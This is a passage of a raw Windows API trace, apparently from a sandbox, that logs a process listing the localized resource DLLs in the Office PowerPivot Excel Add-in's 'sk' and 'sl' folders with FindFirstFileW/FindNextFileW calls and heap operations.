nFileSizeHigh=0x0, nFileSizeLow=0xcaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0282.320] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3143659, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf3143659, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0282.321] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbda21cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbda21cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbda21cf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0282.321] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa2f5c0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa2f5c0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa2f5c0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x20c030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0282.321] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a229e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0282.321] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4abf9f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0282.321] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1945af2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1945af2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0282.321] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42d8c51, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4d050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0282.321] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5c164a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c164a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x49aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0282.321] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e0ae4d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e0ae4d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e310c7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0282.321] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a2c10c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0282.322] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00af60a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1baa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0282.322] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6164f96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x75040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0282.322] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x384552e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x384552e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0282.585] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0282.585] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x605aed7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x605aed7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x613fd44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4640, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0282.585] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2f2e583, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f2e583, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f5480d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0282.585] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff580e7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0282.586] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff580e7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0282.586] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0282.588] GetProcessHeap () returned 0xaf0000 [0282.588] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3676258 | out: hHeap=0xaf0000) returned 1 [0282.589] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0282.589] GetProcessHeap () returned 0xaf0000 [0282.589] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0282.590] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0282.602] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.602] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1152, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0282.602] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x78b299, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x78b299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x78b299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xca90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0282.602] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cd5a2f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0282.602] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e7d566, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e7d566, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0282.603] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc646a83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc646a83, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x200030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0282.603] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4befc00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2a98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0282.603] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7b9ee02, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7bc5054, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ca98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0282.603] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63ed72c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63ed72c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0282.603] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1dbe1c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1dbe1c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1dbe1c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4bab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0282.603] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12910b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12910b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12b7378, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0282.603] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0282.604] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5101cbd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0282.604] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9a04f26, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9a04f26, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a04f26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1a088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0282.604] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff580e7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0063153, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x71070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0282.604] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0282.604] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c66c57, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c66c57, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0282.604] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7bc5054, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7bc5054, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0282.604] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bce2f5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bce2f5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0282.604] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e78, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0282.604] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e78, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0282.604] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0282.606] GetProcessHeap () returned 0xaf0000 [0282.606] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0282.606] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0282.606] GetProcessHeap () returned 0xaf0000 [0282.606] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0282.606] 